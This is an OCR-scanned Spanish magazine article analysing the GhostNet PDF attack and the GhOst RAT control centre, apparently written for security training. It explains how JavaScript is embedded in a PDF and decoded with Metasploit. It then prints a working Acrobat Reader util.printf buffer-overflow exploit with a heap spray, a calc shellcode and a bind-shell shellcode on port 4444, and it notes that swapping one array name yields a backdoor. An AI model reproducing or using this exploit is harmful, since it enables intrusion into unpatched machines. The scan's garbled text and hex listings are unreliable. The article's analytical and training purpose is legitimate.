Ingenieria kersa al ahque
GheatNet a PDF

UNA DE

FAN ASMA

Ataque PDF ¥ PORTADA

AC—mo consigui— el ataque GhostNet infectar mtquinas de todo el mundo? Con una especie de PDF trucado.

POR TOBIAS ONEWROOTO, HANS-PETER MERKEL Y MARKUS FEILNER

hostNet es una heramienta china
Gpara hackear PDFs que w ha

invadido redes pertenecientes al
Dalai Lama y a muchos gobiernos occi-
dentales Los detalles del ataque fantasma
comienzan a ver la luz gradualmente
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Figura 1: Un atacant e puede usar el ¢ entr o de contr ol
GhOst RAT para habilit ar la webcam, el keylogger u
otras funcionalidade s con tan solo unos clics de

raton.

admitiendo que s’, que tambiZn han
encontrado mfquinas infectadas en sus
oficinas. Europa, organizaciones estado-
unidenses Canadi, Asia, ya han repor-
tado intrusiones llevadas a cabo conta
miquinas de sus ¥mbitos de seguridad.
La invasi—n de GhostNet, difundida a -

Keylogger , Capturador de Pantalla, Bugy W

El centro de control GhOst RA T

ofrece varias funcionalidades para la

gesti—n del ataque, incluidas:

¥ Acceso absoluto al PC compro-
metido: El malware es capaz de
monitorizar tanto el sistema de
archivos como la pantalla.
Dispositivos de entrada: El keylog-
ger interno registra la actividad de
Internet como la banca en I'nea o
las contrase—as introducidas.
Monitorizaci—n del frea: Si la
miquina comprometida es un
portftil, el administrador de
GhostNet puede habilitar de
forma remota el micr—fono inte-
grado y espiar las conversaciones
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vZs de Internet, alcanz— su miximo a
finales de 2008.

El exploit contr a Adobe Reader que uti-
liz— este ataque par propagase a s’
mismo era bastante viejo, pem incluso
despuZs de que el poblema fuese descu-
bierto por administradores armados con

ebcam

que se produzcan en la habitaci—n

en gue se encuentra.
TambiZn es posible habilitar web-
cams tanto internas como conecta-
das, aunque esta funcionalidad es
demasiado arriesgada para el ata-
cante, ya que los LEDs evidenciar'an
su uso, por lo que probablemente
no se use mucho.
GhostNet es un modelo de control
intuitivo, siendo necesaria una curva
de aprendizaje m’nima entre los pri-
meros pasos y la actividad criminal.
Gracias a la ingenier'a inversa, los
administradores acen disponen de
algunas opciones a la hora de prote-
ger sus sistemas.
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herramientas como Metasploit [1], consi-
gui— infectar a un buen neemerde PCs
por todo el mundo. Si pensaban que s—Ilo
un novato podra caer en un ataque
basado en el env’'o de ejecutables adjuntos
a emails, estaban equivocados El ataque
GhostNet nos ha ense—ado los peligos
gue pueden entra—ar gestos tan simples
como abrir un archivo PDF

GhostNet funciona porque Acrobat Rea-
der ejecuta por defecto el c—digo Ja-
Script contenido en los archivos. El Java-
Script puede descagar a su vez c—digo
mis complejo, malicioso, desde Internet.
Esta vulnerabilidad, para la que Adobe no
puso remedio hasta la versi—n 8.1.3, hizo
que las mifquinas infectadas abriesen
automifticamente coneiones aGhOst RA,
el centro de control (command and control
centel) de GhostNet (Figura 1). Probamos
y exploramos varios componentes de
GhostNet como parte del desarollo de un
curriculum de entrenamiento para la pre-
venci—n de cr'menes y oficinas de seguri-
dad. Investigando el c—digo fuenteadqui-
rimos unos buenos conocimientos sobe el
origen del exploit usado por GhostNet. El
c—digo C++ s—lo estaba disponible en
chino. Claro estt que la barera idiomitica
dificult— el uso de los menced a Figura 1
muestra el centro de control GhOst RA
Beta 3.6 en inglZs en una versi—n poste-
rior.

JavaScript en un PDF

La historia del ataque GhostNet comienza
con un archivo PDF.: Para poder seguir las
pruebas realizadas en esta demos@ci—n
necesitart un PC con un Linux reciente y
una interfaz grifica, as’ como el entorno
de pruebas de seguridad Metasploit.

Listado 1:: cat holamundo.pdf

01 13 0 obj

03 << /Length 65

05 /Filter /FlateDecode >>

07 stream

IQT?2?? 27
10 endstream
11 endobj
12 14 0 obj
13 << /S /[JavaScript
14 endobj

NS 13 0 R >>
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01 unsigned char  hola_bin[] ={

11 Ox0a
2y

Listado 2: xxd -i hola.bin

02 0x78, Oxef, Oxbf, Oxbd, Ox4b, 0x2b, Oxef, Oxbf, Oxbd, Ox4b, Ox2e, Oxef,
Oxbf, Oxbd, Oxef, Oxbf, Oxbd, Oxef, Oxbf, Oxbd, Ox53, Oxef, Oxbf, Oxbd,
Ox4b, 0x2d, Ox4d, Ox2d, Oxef, Oxbf, Oxbd, Ox4e, Ox2e, Oxef, Oxbf, Oxbd,
Ox2c, 0x28, Oxef, Oxbf, Oxbd, Oxef, Oxbf, Oxbd, Oxef, Oxbf, Oxbd, Oxef,
Oxbf, Oxbd, Oxef, Oxbf, Oxbd, 0x52, Ox50, Ox50, 0x48, Ox2c, 0x28, Oxef,
07 Oxbf, Oxbd, Ox4b, Oxef, Oxbf, Oxbd, Ox49, Ox2d, Ox2a, Oxef, Oxbf, Oxbd,
08 0x50, Oxef, Oxbf, Oxbd, 0x48, Oxef, Oxbf, Oxbd, Oxef, Oxbf, Oxbd, Oxef,
09 Oxbf, Oxbd, Oxef, Oxbf, Oxbd, Ox2f, Oxef, Oxbf, Oxbd, 0x49, 0x51, 0x54,
10 Oxd2, Oxb4, Oxef, Oxbf, Oxbd, Oxef, Oxbf, Oxbd, Ox3f, Oxef, Oxbf, Oxbd,

Para comprender las vulnerabilidades
de PDF, considere un mZtodo app.alert, el
cual es empleado a \eces pan a—adir aler-
tas a los documentos PDF

Para comenzar, utilizar emos la aplica-
ci—n de escritorio paa publicaciones lla-

[warrung: JavaScript-Fenster - i

Q Hello world

Jete : Section - Moilla Firefox =[af ]’

Fle Toos Styles Help
LT P—
= o o
i
= Datei Bearbeiten Arzeige Dokument Werkzeuge Fenster Hife * 01 <?php
<]
ik . [T @& ®[=m- ﬁ Suchen -
o= el ¥ 02 $but=

11

emergente, cortesia del scriptincluido .
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Figura 2: jHola Mundo! EI PDF ha abier to una ventana

£ 12 echo gzuncompr ess($buf);
13
14 2>

03 Z\x78\xefixbfixbd\xab\x2b\xefixbfixbd\x4b\x2e\xefixofixbdZ
04 Z\xefxbfxbdxefixbfixbd\x53\xefixbixbd\xab\x2d\xad\x2dZ
05 Z\xefxbfixbdxde\x2e\xefixbiixbdix2c\x28\xefixbixbd\xefZ

06 Z\xbfxbd\xefixbfixbd\xefixbAxbd\xefixbiixbd\x52\x50\x502
07 Z\x48\x2c\x28\efixbfixbd\x4b\xefixbfixbd\x49\x2d\x2a\xefZ
08 Z\xbfixbd\x50\efixbfixbd\x48\xefixbfixbd\xefixbixbd\xefZ

09 Z\xbfixbdxefixbAxbd\x2AxefixbAixbdx49\x51\x54\xd2\xh4Z
10 Zefixbfixbd\xefixbiixbd\x3fixefixbAxbd\x0aZ;

mada Scribus [2], para crear un docu-
mento PDF de aspecto inofensiv e incrus-
tar en ZI c—digo JaaScript. DespuZs de
crear el contenido PDF normal, seleccio-
namos Edit | Add JavaScripty a—adimos la
funci—napp.alert:

Listado 3: hola.php

WWW .LINUX -MAGAZINE.ES



function New_Script()

{
app.alert(sjHola

}

Mundo!2);

Una vez incluido el script, ya podemos
exportar el PDE Cambiamos la opci—iNo
Scripten File | Export | Save as PDF | Vie-
wer a New_Scripf y guardamos el PDF
Cualquier usuario que abra nuestro PDF
verf el mensaje mostado en la Figura 2.

Hasta ahorm, este hack no es que sea
demasiado impresionante, pero con un
poco de ingenier’a inversa sobre el con-
tenido del PDF usado por GhostNet,
obtendremos mi#s informaci—n sol& este
c—digo malicioso. Con un simple
comando cat se puede mostar el objeto
JavaScript contenido en ZI (Listado 1).
La I'nea 8 contiene el c—digo binario, que
podemos conwertir de nuevo en c—digo
JavaScript legible. Utilizando el portapa-
peles trasferimos el c—digo situado en&
stream y endstream a un nuevo archivo,
que podemos llamar hola.bin. Luego,
ejecutamos el editor hex xxd para listar
el c—digo hr en forma de array (Listado
2).

Por desgracia, la salida de xxd s—lo po-
porciona cadenas hexadecimales al estilo
de C, del tipo 0x90. JavaScript necesita un
formato diferente que represente losopco-
desde modo \x90. El comando msfencode
de Metasploit proporciona la conversi—n
necesaria:

cat hola.bin | U

[usr/local/ U

framework -3.2/msfencode U
-e generic/none -t U

perl -0 hola.php

Para que los resultados sean ejecuta-
bles, s—Ilo tenemos que a—adir cambios
m'nimos a las etiquetas PHR declara-
ciones de beoefer y funci—n de corer-
si—n. El nugo archivo hola.php incluye
el array con el c—digo shell en el for-
mato correcto (Listado 3).

Para evaluar este c—digo desde la
I'nea de comandos utilizaremos php-cli
(hay un paquete con php-cli disponible
a travZs del repositorio de Debian). Al
ejecutar php hola.php se recreart el
c—digo JeaScript introducido en Scri-
bus:

Ataque PDF ¥ PORTADA

function

{

Neues_Script()
app.alert(sjHola Mundo!2);
}

Los hackers que hab’a tras GhostNet, que
probablemente estaban siendo bien paga-
dos por algeen gobierno, usawn exacta-
mente estas tZcnicas paa comprometer
miquinas con Windows mediante el
exploit util.printf para Acrobat Reader
Hay una prueba de concepto disponible
en[3].

El documento PDF ilustra la vulnerabili-
dad en tZrminos de desbodamiento de
beefer en la funci—util.printf . Usando el
mismo procedimiento descrito en el ejem-
plo anterior, podemos utilizar la ingenier'a
inversa para analizar el c—digo incluido
utilizando el comando cat
2008-APSB08-19.pdf
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Lo siguiente que hay que hacer es
extraer el c—digo, guatarlo como
exploit.bin, y usar Metasploit para crear
un array de opcode Al igual que hola.php,
necesitart etiqguetas PHPa declaraci—n de
beoefer y la funci—n de corarsi—n.

El Listado 4 muestra los resultados en
forma de c—digo PHP corertido des-
puZs de llamar a exploit.php. En este
Listado se aprecian dos arrays, shell-
codely shellcode?2 aunque el c—digo
s—Io ejecuta el primev de ellos (I'nea
76), que realiza la inofensiva tarea de
abrir la calculadora en un sistema Win-

PHP, una Piz ca de
JavaScripty un

Desbor damient o de Buf er
N—tese el desbalamiento de baoefer en
la funci—nutil.printf , al final del c—digo
JavaScript (I'nea 86) del Listado 4. La
variable num definida antes de esa
I'nea contiene 45000 d'gitos de coma
flotante, provocando as’ el desboda-
miento de bcefer Pero acen mis intee-
sante es el segundo aray de shellcode
de este mismo Listado. ©do lo que
debemos hacer es enombrar la lla-
mada al array sustituyendo el nombre

dows.

en la I'nea 76, y el c—digo abrirf una

Listado 4: exploit.php

01

02
03

04
05

25
26
27
28

29

30
31

70
71
72
73
74
75
76
7
78
79
80

81
82
83
84
85

86

/I win32_exec  EXITFUNC=seh CMD=c:\windows\system32\calc.exe

Size=378 Encoder=Alpha2

http://metasploit.com

var shellcodel =

unescape(*%u03eb%ueb59%ue805%uf ff8%uf fffo6u4949%u4949%ud9497 +

7%U4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a7 +
7%u4568%u4222%u2389%U7536%U1335%U4589%U7431%U346a7+
[.]
7%u5460%u6573%u3362%u306¢%U4163%u7071%uU536c%U66537 +
7%U3146%U7475%u7038%U7765%u43707);

/I win32_bind EXITFUNC=seh LPOR'=4444 Size=696 Encoder=Alpha2
http://metasploit.com
var shellcode2 = unescape

(%u03eb%ueb59%ue805%uf ff8%uf ff%ud949%ud949%ud9497  +
7%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436aZ+
7%u3875%u4329%u4156%u4a90%u4949%u4937%u5a67%ul23aZ+
[.]
7%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u66537Z +
7%u4e6{%u6330%uBc58%u6f30%u577a%ub174%u3241%u4b73Z  +
7%u684{%u3956%u386%u43502);

var bigblock = unescape(*%u0A0A%UOAOAZ);

var headersize = 20;

var slackspace = headersize  + shellcodel.length;

while  (bigblock.length < slackspace) bigblock +=  bigblock;

var fillblock = bigblock.substring(0,slackspace);

var block = bigblock.substring(0,bigblock.length slackspace);
while  (block.length + slackspace < 0x60000) block = block + block +
fillblock;

var memory = new Array();

for (i=0; i< 1200; i++){ memor y[i] = block + shellcodel }
var num

=129999999999999999998888888888888888888888888888888888888888888888
8888888888888888888888888888888888888888888888888888888888888888888
8888888888888888888888888888888888888888888888888888888888888888888
8888888888888888888888888888888888888888888888888888888888888888888
8888888888888888888888888888888888888888888888888888888888888888888
888888888888888888888888888888888

util.printf(«%45000fZ,num)
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puerta trasera en vez de abrir la calcu-
ladora.

El c—digo del segundo aay abre el
puerto TCP 4444; podemos pobarlo eje-
cutando Netcat contra ese puerto. Las \er-
siones parcheadas de Alobe Reader por
fin han dejado de ser vulnerables a este
ataque pero de todas formas los atacan-
tes estfn muy al tanto de otras muchas
vulnerabilidades en las funciones de la
API de Acrobat. Metasploit usa mis de DO
payloads diferentes que permiten a quie-
nes realizan pruebas de intrusi—n ejecutar
malware o funciones para la creaci—n de
puertas trasems En nuestra sesi—n de
entrenamiento, dirigida a aquellos que
luchan contra el crimen, usamos la fun-
ci—n integada de descaga para transferir
nuestro troyano GhostNet a PCs con Win-
dows.

El centro de control GhOst RA crea
automiticamente el troyano. No importa
si se usa un PDF manipulado o una eti-
gueta Iframe en algcen sitio veb para com-
prometer la mfquina. Metasploit utiliza el
programa msfpaylod para exportar pay-
loads que serin conertidos posterior-
mente en arrays de shellcode

Peligr osament e Simple

No hace falta contar con aptitudes excep-
cionales en programaci—n pa compren-
der la forma en la que los intrusos usan
archivos PDF pam conseguir entar a
redes vulnerables Algunos de los exploits
mi¥s potentes estfn escondidos en lugas
inocuos en los que no se les ocurrira
mirar ni a expertos ni a usuarios.

Adobe abri— el agujey que deriv— en el
ataque GhostNet, pep es cuesti—n de
tiempo el que aparezcan nuevos exploits
PDE

[1] Metasploit: http://mww .metasploit.
com

[2] Scribus: http://www .scribus.net

[3] Prueba de concepto del exploit
para PDF: http://milwOrm.com/
sploits/2008-APSB08-19.pdf
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